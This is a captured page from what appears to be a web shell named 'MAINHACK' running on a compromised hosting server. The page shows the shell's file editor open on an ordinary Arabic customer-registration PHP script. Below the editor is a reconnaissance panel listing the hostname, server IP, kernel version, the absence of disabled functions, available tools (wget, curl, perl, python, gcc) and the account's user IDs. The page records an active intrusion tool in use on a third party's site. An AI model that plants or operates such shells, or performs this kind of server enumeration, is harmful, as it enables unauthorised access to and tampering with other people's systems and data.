[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: create.php
<?php require_once '../config/config.php'; requirePermission(); $pageTitle = 'إضافة عميل جديد'; $db = Database::getInstance(); $error = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $name = cleanInput($_POST['name'] ?? ''); $phone = cleanInput($_POST['phone'] ?? ''); $address = cleanInput($_POST['address'] ?? ''); if (empty($name) || empty($phone)) { $error = 'يرجى إدخال الاسم ورقم الهاتف'; } elseif (!isValidEgyptianPhone($phone)) { redirect('index.php?error=invalid_phone'); } else { try { $checkSql = "SELECT id FROM customers WHERE phone = ?"; $existing = $db->query($checkSql, [$phone])->fetch(); if ($existing) { redirect('index.php?error=phone_exists'); } $sql = "INSERT INTO customers (name, phone, address, created_by) VALUES (?, ?, ?, ?)"; $db->query($sql, [$name, $phone, $address, $_SESSION['user_id']]); $customerId = $db->lastInsertId(); logActivity($_SESSION['user_id'], 'customer_created', "تم إضافة عميل جديد: $name", $customerId, 'customer'); redirect('index.php?success=created'); } catch (Exception $e) { $error = 'حدث خطأ أثناء إضافة العميل'; error_log($e->getMessage()); } } } include '../includes/header.php'; ?> <div class="row"> <div class="col-md-8 mx-auto"> <div class="card shadow-sm"> <div class="card-header bg-primary text-white"> <h4 class="mb-0"><i class="bi bi-person-plus"></i> إضافة عميل جديد</h4> </div> <div class="card-body"> <?php if ($error): ?> <div class="alert alert-danger"><?php echo $error; ?></div> <?php endif; ?> <form method="POST" action=""> <div class="mb-3"> <label for="name" class="form-label">اسم العميل <span class="text-danger">*</span></label> <input type="text" class="form-control" id="name" name="name" required value="<?php echo isset($_POST['name']) ? htmlspecialchars($_POST['name']) : ''; ?>"> </div> <div class="mb-3"> <label for="phone" class="form-label">رقم الهاتف <span class="text-danger">*</span></label> <input type="text" class="form-control" id="phone" name="phone" required placeholder="+201234567890" pattern="^\+20[0-9]{10}$" value="<?php echo isset($_POST['phone']) ? htmlspecialchars($_POST['phone']) : ''; ?>"> <small class="form-text text-muted">يجب أن يبدأ الرقم بـ +20 متبوعًا بـ 10 أرقام</small> </div> <div class="mb-3"> <label for="address" class="form-label">العنوان</label> <textarea class="form-control" id="address" name="address" rows="3"><?php echo isset($_POST['address']) ? htmlspecialchars($_POST['address']) : ''; ?></textarea> </div> <div class="d-flex justify-content-between"> <button type="submit" class="btn btn-primary"> <i class="bi bi-check-lg"></i> حفظ </button> <a href="index.php" class="btn btn-secondary"> <i class="bi bi-x-lg"></i> إلغاء </a> </div> </form> </div> </div> </div> </div> <?php include '../includes/footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285